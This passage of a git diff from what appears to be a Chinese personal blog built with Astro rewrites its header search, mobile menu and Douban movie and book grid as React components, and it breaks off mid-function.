return new Date(b.date).getTime() - new Date(a.date).getTime();
})
.slice(0, 10); // 限制结果数量
if (filteredArticles.length === 0) {
resultsList.innerHTML = '';
resultsMessage.textContent = '没有找到相关内容';
resultsMessage.style.display = 'block';
return;
}
// 显示结果
resultsMessage.style.display = 'none';
resultsList.innerHTML = filteredArticles.map((article: Article) => {
// 生成匹配的内容片段
let contentMatch = '';
if (article.content && article.content.toLowerCase().includes(lowerQuery)) {
// 找到匹配文本在内容中的位置
const matchIndex = article.content.toLowerCase().indexOf(lowerQuery);
// 计算片段的起始和结束位置
const startPos = Math.max(0, matchIndex - 50);
const endPos = Math.min(article.content.length, matchIndex + 100);
// 提取片段
let snippet = article.content.substring(startPos, endPos);
// 如果不是从文章开头开始,添加省略号
if (startPos > 0) {
snippet = '...' + snippet;
}
// 如果不是到文章结尾,添加省略号
if (endPos < article.content.length) {
snippet = snippet + '...';
}
// 高亮匹配的文本
snippet = highlightText(snippet, query);
contentMatch = `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 line-clamp-2">${snippet}</p>`;
}
// 高亮标题和摘要中的匹配文本
const highlightedTitle = highlightText(article.title, query);
const highlightedSummary = article.summary ? highlightText(article.summary, query) : '';
return `
<li>
<a href="/articles/${article.id}" class="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70 transition-colors duration-200">
<h3 class="text-sm font-medium text-gray-800 dark:text-gray-200 truncate">${highlightedTitle}</h3>
${article.summary ? `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 truncate">${highlightedSummary}</p>` : ''}
${contentMatch}
${article.tags && article.tags.length > 0 ? `
<div class="flex flex-wrap gap-1 mt-1.5">
${article.tags.slice(0, 3).map((tag: string) => `
<span class="inline-block text-xs bg-primary-50/50 dark:bg-primary-900/20 text-primary-600 dark:text-primary-400 py-0.5 px-1.5 rounded-full">#${tag}</span>
`).join('')}
${article.tags.length > 3 ? `<span class="text-xs text-gray-400 dark:text-gray-500">+${article.tags.length - 3}</span>` : ''}
</div>
` : ''}
</a>
</li>
`}).join('');
}
// 节流搜索
const debouncedDesktopSearch = debounce((value: string) => {
if (desktopList && desktopMessage) {
searchArticles(value, desktopList as HTMLElement, desktopMessage as HTMLElement);
}
}, 300);
const debouncedMobileSearch = debounce((value: string) => {
if (mobileList && mobileMessage) {
searchArticles(value, mobileList as HTMLElement, mobileMessage as HTMLElement);
}
}, 300);
// 桌面端搜索逻辑
if (desktopSearch && desktopResults) {
desktopSearch.addEventListener('focus', () => {
desktopResults.classList.remove('hidden');
if (!isArticlesLoaded) fetchArticles();
});
desktopSearch.addEventListener('input', (e: Event) => {
const target = e.target as HTMLInputElement;
if (target && target.value !== undefined) {
debouncedDesktopSearch(target.value);
}
});
// 点击外部关闭结果
document.addEventListener('click', (e: MouseEvent) => {
const target = e.target as Node;
if (desktopSearch && !desktopSearch.contains(target) && !desktopResults.contains(target)) {
desktopResults.classList.add('hidden');
}
});
// ESC键关闭结果
desktopSearch.addEventListener('keydown', (e: KeyboardEvent) => {
if (e.key === 'Escape') {
desktopResults.classList.add('hidden');
}
});
}
// 移动端搜索逻辑
if (mobileSearch && mobileResults) {
mobileSearch.addEventListener('input', (e: Event) => {
mobileResults.classList.remove('hidden');
const target = e.target as HTMLInputElement;
if (target && target.value !== undefined) {
debouncedMobileSearch(target.value);
if (!isArticlesLoaded) fetchArticles();
}
});
// ESC键关闭搜索面板
mobileSearch.addEventListener('keydown', (e: KeyboardEvent) => {
if (e.key === 'Escape') {
const mobileSearchPanel = document.getElementById('mobile-search-panel');
if (mobileSearchPanel) {
mobileSearchPanel.classList.add('hidden');
mobileSearchPanel.classList.remove('show');
}
}
});
}
}
// 初始化函数
function setupHeader() {
initHeader();
initSearch();
}
// 在文档加载时初始化一次
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', setupHeader);
} else {
setupHeader();
}
// 支持 Astro 视图转换
document.addEventListener('astro:swup:page:view', setupHeader);
// 清理
document.addEventListener('astro:before-swap', () => {
// 移除可能的全局事件监听器
window.removeEventListener('scroll', () => {});
});
</script>

421
src/components/Header.tsx Normal file
View File

@ -0,0 +1,421 @@
import { useEffect, useState, useRef } from 'react';
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
import { ThemeToggle } from './ThemeToggle';
import '@/styles/header.css';
// 文章对象类型定义
interface Article {
id: string;
title: string;
date: string | Date;
summary?: string;
tags?: string[];
image?: string;
content?: string;
}
export default function Header() {
// 状态定义
const [scrolled, setScrolled] = useState(false);
const [mobileMenuOpen, setMobileMenuOpen] = useState(false);
const [mobileSearchOpen, setMobileSearchOpen] = useState(false);
const [articles, setArticles] = useState<Article[]>([]);
const [isArticlesLoaded, setIsArticlesLoaded] = useState(false);
const [searchQuery, setSearchQuery] = useState('');
const [desktopSearchFocused, setDesktopSearchFocused] = useState(false);
// 获取当前路径 (使用window.location.pathname)
const [pathname, setPathname] = useState('/');
useEffect(() => {
setPathname(window.location.pathname);
}, []);
// 移除结尾的斜杠以统一路径格式
const normalizedPath = pathname?.endsWith('/') ? pathname.slice(0, -1) : pathname;
// 引用
const desktopSearchRef = useRef<HTMLInputElement>(null);
const desktopResultsRef = useRef<HTMLDivElement>(null);
const mobileSearchRef = useRef<HTMLInputElement>(null);
const searchTimeoutRef = useRef<NodeJS.Timeout | null>(null);
// 处理滚动效果
useEffect(() => {
const scrollThreshold = 50;
function updateHeaderBackground() {
if (window.scrollY > scrollThreshold) {
setScrolled(true);
} else {
setScrolled(false);
}
}
// 初始检查
updateHeaderBackground();
// 添加滚动事件监听
window.addEventListener('scroll', updateHeaderBackground);
// 清理
return () => window.removeEventListener('scroll', updateHeaderBackground);
}, []);
// 搜索节流函数
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
let timeout: ReturnType<typeof setTimeout> | undefined;
return function(this: any, ...args: Parameters<T>): void {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, args), wait);
};
}
// 获取文章数据
async function fetchArticles() {
if (isArticlesLoaded && articles.length > 0) return;
try {
const response = await fetch('/api/search');
if (!response.ok) {
throw new Error('获取文章数据失败');
}
const data = await response.json();
setArticles(data);
setIsArticlesLoaded(true);
} catch (error) {
console.error('获取文章失败:', error);
}
}
// 高亮文本中的匹配部分
function highlightText(text: string, query: string): string {
if (!text || !query.trim()) return text;
// 转义正则表达式中的特殊字符
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const regex = new RegExp(`(${escapedQuery})`, 'gi');
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
}
// 搜索文章逻辑
const debouncedSearch = debounce((query: string) => {
setSearchQuery(query);
}, 300);
// 点击页面其他区域关闭搜索结果
useEffect(() => {
function handleClickOutside(event: MouseEvent) {
if (
desktopSearchRef.current &&
desktopResultsRef.current &&
!desktopSearchRef.current.contains(event.target as Node) &&
!desktopResultsRef.current.contains(event.target as Node)
) {
setDesktopSearchFocused(false);
}
}
document.addEventListener('mousedown', handleClickOutside);
return () => document.removeEventListener('mousedown', handleClickOutside);
}, []);
// 处理ESC键
useEffect(() => {
function handleKeyDown(e: KeyboardEvent) {
if (e.key === 'Escape') {
setDesktopSearchFocused(false);
setMobileSearchOpen(false);
}
}
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, []);
// 搜索结果处理
const getFilteredArticles = () => {
if (!searchQuery.trim()) return [];
const lowerQuery = searchQuery.toLowerCase();
return articles
.filter((article: Article) => {
const title = article.title.toLowerCase();
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
const summary = article.summary ? article.summary.toLowerCase() : '';
const content = article.content ? article.content.toLowerCase() : '';
return title.includes(lowerQuery) ||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
summary.includes(lowerQuery) ||
content.includes(lowerQuery);
})
.sort((a: Article, b: Article) => {
// 标题匹配优先
const aTitle = a.title.toLowerCase();
const bTitle = b.title.toLowerCase();
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
return -1;
}
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
return 1;
}
// 内容匹配次之
const aContent = a.content ? a.content.toLowerCase() : '';
const bContent = b.content ? b.content.toLowerCase() : '';
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
return -1;
}
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
return 1;
}
// 日期排序
return new Date(b.date).getTime() - new Date(a.date).getTime();
})
.slice(0, 10); // 限制结果数量
};
// 生成搜索结果列表项
const renderSearchResults = () => {
const filteredArticles = getFilteredArticles();
if (filteredArticles.length === 0) {
return (
<div className="py-4 px-4 text-center text-gray-500 dark:text-gray-400">
</div>
);
}
return (
<ul className="py-2">
{filteredArticles.map(article => {
return (
<li key={article.id} className="group">
<a href={`/articles/${article.id}`} className="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70">
<h4 className="text-sm font-medium text-gray-900 dark:text-gray-100 group-hover:text-primary-600 dark:group-hover:text-primary-400"
dangerouslySetInnerHTML={{ __html: highlightText(article.title, searchQuery) }}
></h4>
{article.summary && (
<p className="mt-1 text-xs text-gray-500 dark:text-gray-400 line-clamp-1"
dangerouslySetInnerHTML={{ __html: highlightText(article.summary, searchQuery) }}
></p>
)}
{article.tags && article.tags.length > 0 && (
<div className="mt-2 flex items-center flex-wrap gap-1">
{article.tags.slice(0, 3).map(tag => (
<span key={tag} className="inline-block text-2xs px-1.5 py-0.5 bg-gray-100 dark:bg-gray-700/70 text-gray-600 dark:text-gray-400 rounded">
{tag}
</span>
))}
{article.tags.length > 3 && (
<span className="text-xs text-gray-400 dark:text-gray-500">
+{article.tags.length - 3}
</span>
)}
</div>
)}
</a>
</li>
);
})}
</ul>
);
};
// 准备样式类
const headerBgClasses = `absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 ${
scrolled ? 'scrolled' : ''
}`;
return (
<header className="fixed w-full top-0 z-50" id="main-header">
<div className={headerBgClasses} id="header-bg"></div>
<nav className="relative">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="flex justify-between h-16">
{/* Logo 部分 */}
<div className="flex items-center">
<a href="/" className="text-xl md:text-2xl font-bold tracking-tight bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
{SITE_NAME}
</a>
</div>
{/* 导航链接 */}
<div className="hidden md:flex md:items-center md:space-x-8">
{/* 桌面端搜索框 */}
<div className="relative">
<input
type="text"
id="desktop-search"
ref={desktopSearchRef}
className="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
placeholder="搜索文章..."
onFocus={() => {
setDesktopSearchFocused(true);
fetchArticles();
}}
onChange={(e) => debouncedSearch(e.target.value)}
/>
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg className="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
{/* 搜索结果容器 */}
<div
ref={desktopResultsRef}
className={`absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 ${
desktopSearchFocused ? '' : 'hidden'
}`}
>
{renderSearchResults()}
</div>
</div>
{/* 导航链接 */}
{NAV_LINKS.map((link) => (
<a
key={link.href}
href={link.href}
className={`inline-flex items-center px-1 pt-1 text-sm font-medium ${
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
}`}
>
{link.text}
</a>
))}
<ThemeToggle />
</div>
{/* 移动端菜单按钮 */}
<div className="flex items-center md:hidden">
{/* 移动端搜索按钮 */}
<button
type="button"
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2"
aria-expanded={mobileSearchOpen}
aria-label="搜索"
onClick={() => {
setMobileSearchOpen(true);
setTimeout(() => {
mobileSearchRef.current?.focus();
}, 100);
fetchArticles();
}}
>
<span className="sr-only"></span>
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</button>
{/* 移动端菜单按钮 */}
<button
type="button"
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500"
id="mobile-menu-button"
aria-expanded={mobileMenuOpen}
aria-label="打开菜单"
onClick={() => setMobileMenuOpen(!mobileMenuOpen)}
>
<span className="sr-only"></span>
{mobileMenuOpen ? (
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
</svg>
) : (
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
)}
</button>
</div>
</div>
</div>
{/* 移动端搜索面板 */}
{mobileSearchOpen && (
<div className="md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700 show">
<div className="relative">
<input
type="text"
ref={mobileSearchRef}
className="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
placeholder="搜索文章..."
onChange={(e) => debouncedSearch(e.target.value)}
/>
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg className="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<button
className="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
aria-label="关闭搜索"
onClick={() => setMobileSearchOpen(false)}
>
<svg className="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
{/* 移动端搜索结果 */}
<div className={`mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm ${searchQuery ? '' : 'hidden'}`}>
{renderSearchResults()}
</div>
</div>
)}
{/* 移动端菜单 */}
{mobileMenuOpen && (
<div className="md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
<div className="backdrop-blur-[6px] bg-white/80 dark:bg-gray-800/80 shadow-md">
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
<div className="grid gap-1">
{NAV_LINKS.map((link) => (
<a
key={link.href}
href={link.href}
className={`flex items-center px-3 py-3 rounded-lg text-base font-medium ${
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
}`}
>
{link.text}
</a>
))}
<div
className="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2"
onClick={(e) => {
const themeToggleButton = e.currentTarget.querySelector('[role="button"]');
const target = e.target as HTMLElement;
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
themeToggleButton.click();
}
}}
>
<span className="text-sm font-medium text-gray-600 dark:text-gray-300"></span>
<ThemeToggle />
</div>
</div>
</div>
</div>
</div>
)}
</nav>
</header>
);
}

View File

@ -1,7 +1,7 @@
---
import "@/styles/global.css";
import Header from "@/components/Header.astro";
import Footer from "@/components/Footer.astro";
import Header from "@/components/Header.tsx";
import {Footer} from "@/components/Footer.tsx";
import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts";
// 定义Props接口
@ -55,21 +55,29 @@ const { title = SITE_NAME, description = SITE_DESCRIPTION, date, author, tags, i
<meta property="article:tag" content={tag} />
))}
<script is:inline>
// 立即执行主题初始化
const theme = (() => {
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
return localStorage.getItem('theme');
// 立即执行主题初始化,并防止变量重复声明
(function() {
// 检查变量是否已存在
if (typeof window.__themeInitDone === 'undefined') {
// 设置标志,表示初始化已完成
window.__themeInitDone = true;
const theme = (() => {
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
return localStorage.getItem('theme');
}
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
return 'dark';
}
return 'light';
})();
document.documentElement.dataset.theme = theme;
}
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
return 'dark';
}
return 'light';
})();
document.documentElement.dataset.theme = theme;
</script>
</head>
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg transition-colors duration-300 flex flex-col min-h-screen">
<Header />
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg flex flex-col min-h-screen">
<Header client:load/>
<main class="pt-16 flex-grow">
<slot />
</main>

View File

@ -1,202 +0,0 @@
---
interface Props {
type: 'movie' | 'book';
title: string;
doubanId: string;
}
const { type, title, doubanId } = Astro.props;
// Generate unique IDs for this specific instance of the component
const uniquePrefix = `media-${type}`;
const mediaListId = `${uniquePrefix}-list`;
const loadingId = `${uniquePrefix}-loading`;
const endMessageId = `${uniquePrefix}-end-message`;
---
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<h1 class="text-3xl font-bold mb-6">{title}</h1>
<div id={mediaListId} class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
<!-- 内容将通过JS动态加载 -->
</div>
<div id={loadingId} class="text-center py-8">
<div class="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p class="mt-2 text-gray-600">加载更多...</p>
</div>
<div id={endMessageId} class="text-center py-8 hidden">
<p class="text-gray-600">已加载全部内容</p>
</div>
</div>
<script define:vars={{ type, doubanId, mediaListId, loadingId, endMessageId }}>
// Create a class with scoped methods instead of using global functions and variables
class MediaLoader {
constructor(type, doubanId, mediaListId, loadingId, endMessageId) {
this.type = type;
this.doubanId = doubanId;
this.mediaListId = mediaListId;
this.loadingId = loadingId;
this.endMessageId = endMessageId;
this.currentPage = 1;
this.isLoading = false;
this.hasMoreContent = true;
this.itemsPerPage = 15; // 豆瓣每页显示的数量
this.scrollHandler = this.handleScroll.bind(this);
}
async fetchMedia(page = 1, append = false) {
if (this.isLoading || (!append && !this.hasMoreContent)) {
return;
}
this.isLoading = true;
this.showLoading(true);
const start = (page - 1) * this.itemsPerPage;
try {
const response = await fetch(`/api/douban?type=${this.type}&start=${start}&doubanId=${this.doubanId}`);
if (!response.ok) {
throw new Error(`获取${this.type === 'movie' ? '电影' : '图书'}数据失败`);
}
const data = await response.json();
this.renderMedia(data.items, append);
// 更新分页状态
this.currentPage = data.pagination.current;
this.hasMoreContent = data.pagination.hasNext;
if (!this.hasMoreContent) {
this.showEndMessage(true);
}
} catch (error) {
const mediaList = document.getElementById(this.mediaListId);
if (mediaList && !append) {
mediaList.innerHTML = '<div class="col-span-full text-center text-red-500">获取数据失败,请稍后再试</div>';
}
} finally {
this.isLoading = false;
this.showLoading(false);
}
}
renderMedia(items, append = false) {
const mediaList = document.getElementById(this.mediaListId);
if (!mediaList) return;
if (!items || items.length === 0) {
if (!append) {
mediaList.innerHTML = `<div class="col-span-full text-center">暂无${this.type === 'movie' ? '电影' : '图书'}数据</div>`;
}
return;
}
const mediaHTML = items.map(item => `
<div class="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl transition-shadow duration-300">
<div class="relative pb-[150%] overflow-hidden">
<img src="${item.imageUrl}" alt="${item.title}" class="absolute top-0 left-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105">
<div class="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
<h3 class="font-bold text-white text-sm line-clamp-2">
<a href="${item.link}" target="_blank" class="hover:text-blue-300 transition-colors">${item.title}</a>
</h3>
</div>
</div>
</div>
`).join('');
if (append) {
mediaList.innerHTML += mediaHTML;
} else {
mediaList.innerHTML = mediaHTML;
}
}
showLoading(show) {
const loading = document.getElementById(this.loadingId);
if (loading) {
if (show) {
loading.classList.remove('hidden');
} else {
loading.classList.add('hidden');
}
}
}
showEndMessage(show) {
const endMessage = document.getElementById(this.endMessageId);
if (endMessage) {
endMessage.classList.toggle('hidden', !show);
}
}
setupInfiniteScroll() {
// 添加滚动事件
window.addEventListener('scroll', this.scrollHandler);
// 初始检查一次,以防内容不足一屏
setTimeout(() => this.handleScroll(), 500);
}
handleScroll() {
if (this.isLoading || !this.hasMoreContent) {
return;
}
const scrollY = window.scrollY;
const windowHeight = window.innerHeight;
const documentHeight = document.documentElement.scrollHeight;
// 当滚动到距离底部300px时加载更多
if (scrollY + windowHeight >= documentHeight - 300) {
this.fetchMedia(this.currentPage + 1, true);
}
}
cleanup() {
// 移除滚动事件监听器
window.removeEventListener('scroll', this.scrollHandler);
}
initialize() {
this.fetchMedia(1, false).then(() => {
this.setupInfiniteScroll();
}).catch(err => {
// 错误已在fetchMedia中处理
});
}
}
// 存储每个页面创建的媒体加载器,用于清理
if (!window.mediaLoaders) {
window.mediaLoaders = {};
}
// 创建并初始化媒体加载器
function initMediaLoader() {
// 清理可能存在的旧实例
if (window.mediaLoaders[mediaListId]) {
window.mediaLoaders[mediaListId].cleanup();
}
const loader = new MediaLoader(type, doubanId, mediaListId, loadingId, endMessageId);
window.mediaLoaders[mediaListId] = loader;
loader.initialize();
}
// 页面首次加载
document.addEventListener('astro:swup:page:view', initMediaLoader);
// 页面卸载前清理
document.addEventListener('astro:before-swap', () => {
if (window.mediaLoaders[mediaListId]) {
window.mediaLoaders[mediaListId].cleanup();
}
});
// 如果已经加载了 DOM立即初始化
if (document.readyState === 'complete' || document.readyState === 'interactive') {
initMediaLoader();
}
</script>

View File

@ -0,0 +1,359 @@
import React, { useEffect, useRef, useState } from 'react';
interface MediaGridProps {
type: 'movie' | 'book';
title: string;
doubanId: string;
}
interface MediaItem {
title: string;
imageUrl: string;
link: string;
}
interface PaginationInfo {
current: number;
hasNext: boolean;
}
const MediaGrid: React.FC<MediaGridProps> = ({ type, title, doubanId }) => {
const [items, setItems] = useState<MediaItem[]>([]);
const [isLoading, setIsLoading] = useState(false);
const [hasMoreContent, setHasMoreContent] = useState(true);
const [currentPage, setCurrentPage] = useState(1);
const [error, setError] = useState<string | null>(null);
const itemsPerPage = 15;
const mediaListRef = useRef<HTMLDivElement>(null);
const lastScrollTime = useRef(0);
// 使用ref来跟踪关键状态避免闭包问题
const stateRef = useRef({
isLoading: false,
hasMoreContent: true,
currentPage: 1,
error: null as string | null
});
// 封装fetch函数但不使用useCallback以避免依赖循环
const fetchMedia = async (page = 1, append = false) => {
// 使用ref中的最新状态
if (stateRef.current.isLoading ||
(!append && !stateRef.current.hasMoreContent) ||
(append && !stateRef.current.hasMoreContent)) {
return;
}
// 更新状态和ref
setIsLoading(true);
stateRef.current.isLoading = true;
// 只在首次加载时清除错误
if (!append) {
setError(null);
stateRef.current.error = null;
}
const start = (page - 1) * itemsPerPage;
try {
const response = await fetch(`/api/douban?type=${type}&start=${start}&doubanId=${doubanId}`);
if (!response.ok) {
// 解析响应内容,获取详细错误信息
let errorMessage = `获取${type === 'movie' ? '电影' : '图书'}数据失败`;
try {
const errorData = await response.json();
if (errorData && errorData.error) {
errorMessage = errorData.error;
if (errorData.message) {
errorMessage += `: ${errorData.message}`;
}
}
} catch (e) {
// 无法解析JSON使用默认错误信息
}
// 针对不同错误提供更友好的提示
if (response.status === 403) {
errorMessage = "豆瓣接口访问受限,可能是请求过于频繁,请稍后再试";
} else if (response.status === 404) {
// 对于404错误如果是追加模式说明已经到了最后一页设置hasMoreContent为false
if (append) {
setHasMoreContent(false);
stateRef.current.hasMoreContent = false;
setIsLoading(false);
stateRef.current.isLoading = false;
return; // 直接返回,不设置错误,不清空已有数据
} else {
errorMessage = "未找到相关内容请检查豆瓣ID是否正确";
}
}
// 设置错误状态和ref
setError(errorMessage);
stateRef.current.error = errorMessage;
// 只有非追加模式才清空数据
if (!append) {
setItems([]);
}
throw new Error(errorMessage);
}
const data = await response.json();
if (data.items.length === 0) {
// 如果返回的项目为空,则认为已经没有更多内容
setHasMoreContent(false);
stateRef.current.hasMoreContent = false;
if (!append) {
setItems([]);
}
} else {
if (append) {
setItems(prev => {
const newItems = [...prev, ...data.items];
return newItems;
});
} else {
setItems(data.items);
}
// 更新页码状态和ref
setCurrentPage(data.pagination.current);
stateRef.current.currentPage = data.pagination.current;
// 更新是否有更多内容的状态和ref
const newHasMoreContent = data.pagination.hasNext;
setHasMoreContent(newHasMoreContent);
stateRef.current.hasMoreContent = newHasMoreContent;
}
} catch (error) {
// 只有在非追加模式下才清空已加载的内容
if (!append) {
setItems([]);
}
} finally {
// 重置加载状态
setIsLoading(false);
stateRef.current.isLoading = false;
}
};
// 处理滚动事件
const handleScroll = () => {
// 获取关键滚动值
const scrollY = window.scrollY;
const windowHeight = window.innerHeight;
const documentHeight = document.documentElement.scrollHeight;
const scrollPosition = scrollY + windowHeight;
const threshold = documentHeight - 300;
// 限制滚动日志频率,每秒最多输出一次
const now = Date.now();
if (now - lastScrollTime.current < 1000) {
return;
}
lastScrollTime.current = now;
// 使用ref中的最新状态来检查
if (stateRef.current.isLoading || !stateRef.current.hasMoreContent || stateRef.current.error) {
return;
}
// 当滚动到距离底部300px时加载更多
if (scrollPosition >= threshold) {
fetchMedia(stateRef.current.currentPage + 1, true);
}
};
// 更新ref值以跟踪状态变化
useEffect(() => {
stateRef.current.isLoading = isLoading;
}, [isLoading]);
useEffect(() => {
stateRef.current.hasMoreContent = hasMoreContent;
}, [hasMoreContent]);
useEffect(() => {
stateRef.current.currentPage = currentPage;
}, [currentPage]);
useEffect(() => {
stateRef.current.error = error;
}, [error]);
// 组件初始化和依赖变化时重置
useEffect(() => {
// 重置状态
setCurrentPage(1);
stateRef.current.currentPage = 1;
setHasMoreContent(true);
stateRef.current.hasMoreContent = true;
setError(null);
stateRef.current.error = null;
setIsLoading(false);
stateRef.current.isLoading = false;
// 清空列表
setItems([]);
// 加载第一页数据
fetchMedia(1, false);
// 管理滚动事件
const scrollListener = handleScroll;
// 移除任何现有监听器
window.removeEventListener('scroll', scrollListener);
// 添加滚动事件监听器 - 使用passive: true可提高滚动性能
window.addEventListener('scroll', scrollListener, { passive: true });
// 创建一个IntersectionObserver作为备选检测方案
const observerOptions = {
root: null,
rootMargin: '300px',
threshold: 0.1
};
const intersectionObserver = new IntersectionObserver((entries) => {
const entry = entries[0];
if (entry.isIntersecting &&
!stateRef.current.isLoading &&
stateRef.current.hasMoreContent &&
!stateRef.current.error) {
fetchMedia(stateRef.current.currentPage + 1, true);
}
}, observerOptions);
// 添加检测底部的元素 - 放在grid容器的后面而不是内部
const footer = document.createElement('div');
footer.id = 'scroll-detector';
footer.style.width = '100%';
footer.style.height = '10px';
// 确保mediaListRef有父元素
if (mediaListRef.current && mediaListRef.current.parentElement) {
// 插入到grid后面而不是内部
mediaListRef.current.parentElement.insertBefore(footer, mediaListRef.current.nextSibling);
intersectionObserver.observe(footer);
}
// 初始检查一次,以防内容不足一屏
const timeoutId = setTimeout(() => {
if (stateRef.current.hasMoreContent && !stateRef.current.isLoading) {
scrollListener();
}
}, 500);
// 清理函数
return () => {
clearTimeout(timeoutId);
window.removeEventListener('scroll', scrollListener);
intersectionObserver.disconnect();
